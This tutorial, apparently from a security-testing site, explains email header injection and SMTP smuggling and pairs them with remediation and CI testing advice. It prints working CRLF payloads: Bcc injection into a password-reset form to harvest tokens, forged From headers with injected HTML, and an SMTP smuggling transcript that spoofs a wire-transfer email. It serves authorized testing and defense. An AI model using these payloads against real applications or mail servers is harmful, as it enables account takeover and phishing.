SMTP & Email Header Injection: CRLF Spoofing, BCC Injection, and Defenses
Almost every web application sends email: password resets, contact forms, invoices, "share this with a friend" features, two-factor codes. Behind that convenience sits a parsing format defined in RFC 5322 and RFC 5321 where the carriage-return/line-feed sequence (\r\n) is structurally significant — it terminates one header and begins the next. When user-controlled input flows into a recipient field, subject line, or display name without stripping those control characters, an attacker can break out of the intended field and forge entirely new headers. This is email header injection, and it remains one of the most under-tested classes of bug in modern web apps.
The impact ranges from annoying to catastrophic depending on where the injection lands. At the low end you get spam relaying and content spoofing inside the message body. At the high end you get silent Bcc exfiltration of every password-reset token your application sends, sender spoofing that survives a casual glance, and — at the protocol layer — SMTP smuggling that lets a message slip past SPF and DMARC by abusing inconsistent line-ending parsing between a sending relay and a receiving server. This guide walks through the exploitation methodology for authorized assessments and the defenses that actually hold up.
Why CRLF Matters in Mail
An RFC 5322 message is a block of header lines, then a blank line (an empty \r\n), then the body. The headers themselves are Name: value pairs separated by CRLF. Consider what a vulnerable PHP mail() call assembles when the "name" and "email" fields come straight from a form:
To: [email protected]
Subject: Contact form from {name}
From: {email}
Content-Type: text/plain
{message}
If email is [email protected] the message is well-formed. But the field is just a string concatenated into the header block. Feed it a newline and you are no longer writing a value — you are writing structure:
email = [email protected]%0D%0ABcc:%[email protected]
# Encoded CRLF (%0D%0A) decodes to \r\n, producing:
From: [email protected]
Bcc: [email protected]
The mail transfer agent now treats Bcc as a legitimate header and blind-copies every message to the attacker. The submitter sees nothing. The same primitive that powers CRLF injection in HTTP responses applies here — only the parser on the other end is an MTA instead of a browser, and the consequences land in someone's inbox.
Sender and Content Spoofing
The most common goal is forging the apparent sender. If the application lets you control the From field — or any header that precedes From — you can rewrite it. Even when From is hard-coded, injecting a Reply-To or Sender header redirects replies to attacker-controlled infrastructure, which is frequently enough to pull off a convincing pretext during an authorized phishing-resilience engagement.
A subject field is a classic injection point because it is short, attacker-controlled, and rendered prominently. Suppose the subject is reflected into the header block:
subject = Order confirmed%0D%0AFrom: [email protected]%0D%0AContent-Type: text/html%0D%0A%0D%0A<h1>Pay here</h1>
The injected %0D%0A%0D%0A (a blank line) terminates the header section early, so everything after it becomes the message body — now under attacker control, with a Content-Type: text/html the attacker set. This is body splitting: the same idea as HTTP response splitting, applied to MIME. The recipient sees an email that looks like it came from [email protected] with arbitrary HTML, sent through the target's own infrastructure, which means it inherits the target's domain reputation and may pass SPF.
BCC Injection: Silent Token Exfiltration
The highest-value target is any transactional email that carries a secret: password-reset links, magic-login URLs, email-verification codes, invoice PDFs. If you can inject a Bcc into the reset flow, you receive a copy of every token the application issues. Combined with the ability to trigger resets for arbitrary accounts, this is a path to mass account takeover that never touches the victim's mailbox.
When testing a reset form, supply your injection in whatever field reaches the mail layer — often the recipient address or a "confirm email" field:
POST /password/reset HTTP/1.1
Content-Type: application/x-www-form-urlencoded
[email protected]%0d%0aBcc:%[email protected]
If the reset arrives at both [email protected] and your address, injection is confirmed. Always test against accounts you own or that the engagement scope explicitly authorizes — never enumerate or target real third-party users. Beyond Bcc, watch for these payloads when probing a form:
- Header injection:
[email protected]%0d%0aX-Injected: true— confirm via raw headers in your own received copy. - Body split:
[email protected]%0d%0a%0d%0aInjected body content— appends attacker text below the legitimate message. - Multiple recipients:
[email protected]%0d%0aTo: [email protected]— fans the message out. - Encoding variants: bare
%0a(LF only) or%0d(CR only). Many sanitizers strip\r\nas a pair but miss a lone\n, which Unix MTAs still treat as a line break.
SMTP Smuggling at the Protocol Layer
Header injection lives in the application; SMTP smuggling lives one layer down, in how the SMTP protocol frames the end of message data. In SMTP the DATA command's payload is terminated by the sequence <CR><LF>.<CR><LF> — a dot alone on its own line. The 2023 SMTP smuggling research showed that sending servers and receiving servers historically disagreed on what counts as that terminator. Some accept <LF>.<LF> or <CR>.<CR> as an end-of-data marker; others do not.
That disagreement lets an attacker smuggle a second message inside the first. If you end your real data with a non-standard terminator the outbound relay does not recognize but the inbound server does, the inbound server treats the bytes after it as a brand-new MAIL FROM/RCPT TO/DATA transaction — one that did not pass through the outbound relay's SPF/DKIM signing path. The smuggled message inherits the trusted relay's IP, so it can pass SPF for an arbitrary spoofed domain.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: real
body
<LF>.<LF> # non-standard terminator some inbound servers honor
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Urgent wire transfer
... spoofed message ...
<CR><LF>.<CR><LF>
The fix here is server-side and was rolled out by major providers in late 2023: strict enforcement that only <CR><LF>.<CR><LF> ends data, plus rejecting bare CR/LF in the SMTP stream. When you assess mail infrastructure, fingerprint both the outbound and inbound MTAs and check whether they normalize line endings consistently. The same parser-confusion mindset applies as in CRLF injection across HTTP: any two systems that disagree about where a line ends are a place for a payload to hide.
Finding Injection Points During an Assessment
Email-sending functionality is scattered across an app, so map it deliberately. Inventory every feature that produces an outbound message, then trace which request parameters reach the mail layer. High-yield candidates:
- Contact / feedback forms — name, email, subject, and message all flow into headers or body.
- "Invite a colleague" / "share" features — recipient address is directly attacker-controlled.
- Account flows — registration verification, password reset, email-change confirmation.
- Display-name and profile fields — rendered into
Fromas"Display Name" <addr>; quotes and CRLF here break the structure.
For each parameter, inject a benign canary first — a custom header like %0d%0aX-Pentest: probe — and inspect the raw source of the email you receive (not the rendered view) to confirm the header materialized. Because filters often handle CR and LF differently, test the full matrix: %0d%0a, lone %0a, lone %0d, double-encoded %250d%250a, and the literal characters. A quick way to flip between raw and URL-encoded payloads while you fuzz is the email spoofing cheat sheet, which also covers reading SPF, DKIM, and DMARC results in the headers of your test messages.
Remediation
The root cause is always the same: structurally significant characters in data that becomes structure. Defenses, in order of effectiveness:
- Reject CR and LF outright. The only header-safe email address contains no
\ror\n. Validate addresses against a strict RFC-aware pattern and reject — do not silently strip — any input containing CR, LF, NUL, or other control characters. Strip-and-continue invites bypasses via overlapping or double encoding. - Never concatenate user input into raw header strings. Use a mail library that builds headers through a structured API (
setRecipient(),setSubject()) rather than string interpolation. Modern libraries — PHPMailer, Symfony Mailer, Nodemailer, Python'semail.message.EmailMessage— fold and encode headers safely and refuse embedded newlines. Avoid passing untrusted data through the additional-headers parameter of low-level functions like PHP'smail(). - Encode non-ASCII in headers properly. Subjects and display names with Unicode should be RFC 2047 encoded-words, which a good library does for you. Hand-rolled encoding is where injection sneaks back in.
- Separate the secret from the channel. For password resets, prefer short-lived single-use tokens and rate-limit reset requests so a
Bccharvest yields little even if injection slips through. Bind tokens to the requesting session where feasible. - Lock down the mail infrastructure. Patch MTAs against SMTP smuggling, enforce strict
<CR><LF>.<CR><LF>data termination, and publish a strict DMARC policy (p=reject) with aligned SPF and DKIM. DMARC alignment turns many sender-spoofing attempts into hard rejects at the recipient. - Test it in CI. Add a regression test that submits CR/LF and bare-LF payloads to every email-producing endpoint and asserts the outbound message contains exactly the intended headers. Header injection is trivial to catch once you are looking for it.
Email header injection persists because email feels like a solved problem — until you remember that every form field is a few bytes away from rewriting an SMTP envelope. Treat outbound mail as an untrusted serialization sink, validate at the boundary, and let a real mail library own the wire format. Always work within an authorized scope, test against accounts you control, and report findings with reproduction steps rather than live exploitation against third parties.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides